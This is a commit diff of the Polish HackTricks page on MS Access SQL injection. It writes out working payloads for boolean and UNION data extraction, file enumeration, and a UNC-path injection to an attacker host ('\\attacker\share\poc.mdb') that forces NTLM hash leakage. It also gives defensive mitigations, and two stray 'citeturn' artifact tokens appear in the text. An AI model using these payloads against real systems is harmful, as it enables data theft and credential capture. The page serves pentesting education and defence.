mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md
This commit is contained in:
parent
d03df88f87
commit
48340177de
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Online Playground
|
## Online Playground
|
||||||
|
|
||||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||||
|
|
||||||
## Ograniczenia DB
|
## Ograniczenia DB
|
||||||
|
|
||||||
@ -17,7 +17,7 @@ Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
|
|||||||
```
|
```
|
||||||
### Komentarze
|
### Komentarze
|
||||||
|
|
||||||
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL:
|
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego elementu zapytania za pomocą znaku NULL:
|
||||||
```sql
|
```sql
|
||||||
1' union select 1,2 from table%00
|
1' union select 1,2 from table%00
|
||||||
```
|
```
|
||||||
@ -35,7 +35,7 @@ Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ogranic
|
|||||||
```sql
|
```sql
|
||||||
1' UNION SELECT TOP 3 attr FROM table%00
|
1' UNION SELECT TOP 3 attr FROM table%00
|
||||||
```
|
```
|
||||||
Podobnie jak TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
|
Tak jak w TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
|
||||||
|
|
||||||
## Zapytania UNION/Zapytania podrzędne
|
## Zapytania UNION/Zapytania podrzędne
|
||||||
|
|
||||||
@ -48,19 +48,19 @@ Dlatego musisz znać **ważną nazwę tabeli**.
|
|||||||
### Łączenie równań + Podciąg
|
### Łączenie równań + Podciąg
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> To pozwoli Ci na wyeksfiltrowanie wartości z bieżącej tabeli bez potrzeby znajomości nazwy tabeli.
|
> To pozwoli Ci na wyeksportowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy.
|
||||||
|
|
||||||
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
|
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
|
||||||
|
|
||||||
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksfiltrować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksfiltrować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
|
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksportować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
|
||||||
```sql
|
```sql
|
||||||
'=(Mid(username,1,3)='adm')='
|
'=(Mid(username,1,3)='adm')='
|
||||||
```
|
```
|
||||||
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekł wszystkie informacje** za pomocą boolean SQLi:
|
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciągnąć wszystkie informacje** za pomocą boolean SQLi:
|
||||||
```sql
|
```sql
|
||||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||||
```
|
```
|
||||||
_Czuj się swobodnie, aby sprawdzić to w internetowym placu zabaw._
|
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
|
||||||
|
|
||||||
### Bruteforcing nazw tabel
|
### Bruteforcing nazw tabel
|
||||||
|
|
||||||
@ -74,12 +74,12 @@ Możesz również użyć bardziej tradycyjnego sposobu:
|
|||||||
```
|
```
|
||||||
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
|
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
|
||||||
|
|
||||||
- Sqlmap wspólne nazwy tabel: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||||
- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||||
|
|
||||||
### Bruteforcing nazw kolumn
|
### Brute-Forcing nazw kolumn
|
||||||
|
|
||||||
Możesz **bruteforować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
|
Możesz **brute-forcować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
|
||||||
```sql
|
```sql
|
||||||
'=column_name='
|
'=column_name='
|
||||||
```
|
```
|
||||||
@ -93,17 +93,27 @@ Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za
|
|||||||
|
|
||||||
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
||||||
```
|
```
|
||||||
### Zrzut danych
|
### Dumping data
|
||||||
|
|
||||||
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **do zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
|
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **w celu zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
|
||||||
```sql
|
```sql
|
||||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||||
```
|
```
|
||||||
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
|
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
|
||||||
|
|
||||||
### Czasowe
|
### Sztuczki oparte na czasie (ślepe)
|
||||||
|
|
||||||
Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w podróży do hosta kontrolowanego przez atakującego.
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||||
|
```
|
||||||
|
Wskaź UNC do:
|
||||||
|
|
||||||
|
* udziału SMB za połączeniem o wysokiej latencji
|
||||||
|
* hosta, który zrywa handshake TCP po `SYN-ACK`
|
||||||
|
* pułapki zapory ogniowej
|
||||||
|
|
||||||
|
Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być użyte jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w rejestrze w KB5002984. citeturn1search0
|
||||||
|
|
||||||
### Inne interesujące funkcje
|
### Inne interesujące funkcje
|
||||||
|
|
||||||
@ -111,7 +121,7 @@ Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676
|
|||||||
- `LEN('1234')` pobiera długość ciągu
|
- `LEN('1234')` pobiera długość ciągu
|
||||||
- `ASC('A')` pobiera wartość ascii znaku
|
- `ASC('A')` pobiera wartość ascii znaku
|
||||||
- `CHR(65)` pobiera ciąg z wartości ascii
|
- `CHR(65)` pobiera ciąg z wartości ascii
|
||||||
- `IIF(1=1,'a','b')` jeśli to, to
|
- `IIF(1=1,'a','b')` jeśli to wtedy
|
||||||
- `COUNT(*)` zlicza liczbę elementów
|
- `COUNT(*)` zlicza liczbę elementów
|
||||||
|
|
||||||
## Enumerowanie tabel
|
## Enumerowanie tabel
|
||||||
@ -130,17 +140,17 @@ Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdz
|
|||||||
|
|
||||||
## Dostęp do systemu plików
|
## Dostęp do systemu plików
|
||||||
|
|
||||||
### Pełna ścieżka do katalogu głównego serwera WWW
|
### Pełna ścieżka katalogu głównego serwera WWW
|
||||||
|
|
||||||
Znajomość **absolutnej ścieżki do katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.
|
Znajomość **absolutnej ścieżki katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||||
|
|
||||||
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**.
|
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**.
|
||||||
|
|
||||||
### Enumeracja plików
|
### Enumeracja plików
|
||||||
|
|
||||||
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku w zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
|
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku na zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||||
|
|
||||||
@ -150,18 +160,51 @@ Inny sposób enumeracji plików polega na **określeniu elementu database.table*
|
|||||||
|
|
||||||
### Zgadywanie nazwy pliku .mdb
|
### Zgadywanie nazwy pliku .mdb
|
||||||
|
|
||||||
**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania:
|
**Nazwa pliku bazy danych (.mdb)** może być wnioskowana za pomocą następującego zapytania:
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||||
|
|
||||||
Gdzie **name\[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
Gdzie **name[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
||||||
|
|
||||||
### Łamacze haseł .mdb
|
### Zdalny dostęp do bazy danych i kradzież poświadczeń NTLM (2023)
|
||||||
|
|
||||||
|
Od Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN '<path>'`:
|
||||||
|
```sql
|
||||||
|
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||||
|
```
|
||||||
|
Jeśli dane wejściowe użytkownika są konkatenowane w części po **IN** (lub w wywołaniu `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), atakujący może określić **ścieżkę UNC**, która wskazuje na hosta, który kontroluje. Silnik będzie:
|
||||||
|
|
||||||
|
1. próbował uwierzytelnić się przez SMB / HTTP, aby otworzyć zdalną bazę danych;
|
||||||
|
2. wyciekł **poświadczenia NTLM** serwera WWW (wymuszone uwierzytelnienie);
|
||||||
|
3. analizował zdalny plik – źle sformatowana lub złośliwa baza danych może wywołać błędy korupcji pamięci Jet/ACE, które były wielokrotnie łatanie (np. CVE-2021-28455).
|
||||||
|
|
||||||
|
Praktyczny przykład wstrzyknięcia:
|
||||||
|
```sql
|
||||||
|
1' UNION SELECT TOP 1 name
|
||||||
|
FROM MSysObjects
|
||||||
|
IN '\\attacker\share\poc.mdb'-- -
|
||||||
|
```
|
||||||
|
Impact:
|
||||||
|
|
||||||
|
* Wyjściowa eksfiltracja hashy Net-NTLMv2 (użyteczne do relaying lub łamania offline).
|
||||||
|
* Potencjalne zdalne wykonanie kodu, jeśli zostanie wykorzystany nowy błąd parsera Jet/ACE.
|
||||||
|
|
||||||
|
Mitigations (zalecane nawet dla aplikacji Classic ASP):
|
||||||
|
|
||||||
|
* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod równoważną ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`.
|
||||||
|
* Zablokuj wychodzące SMB/WebDAV na granicy sieci.
|
||||||
|
* Oczyść / parametryzuj każdą część zapytania, która może znaleźć się w klauzuli `IN`.
|
||||||
|
|
||||||
|
Wektor wymuszonej autoryzacji został ponownie zbadany przez Check Point Research w 2023 roku, udowadniając, że nadal jest podatny na ataki na w pełni załatanych serwerach Windows, gdy klucz rejestru jest nieobecny. citeturn0search0
|
||||||
|
|
||||||
|
### .mdb Password Cracker
|
||||||
|
|
||||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
|
||||||
|
|
||||||
## Odniesienia
|
## References
|
||||||
|
|
||||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||||
|
- [Microsoft KB5002984 – Konfigurowanie Jet/ACE w celu zablokowania zdalnych tabel](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||||
|
- [Check Point Research – Wykorzystywanie powiązanych tabel Microsoft Access do wymuszonej autoryzacji NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user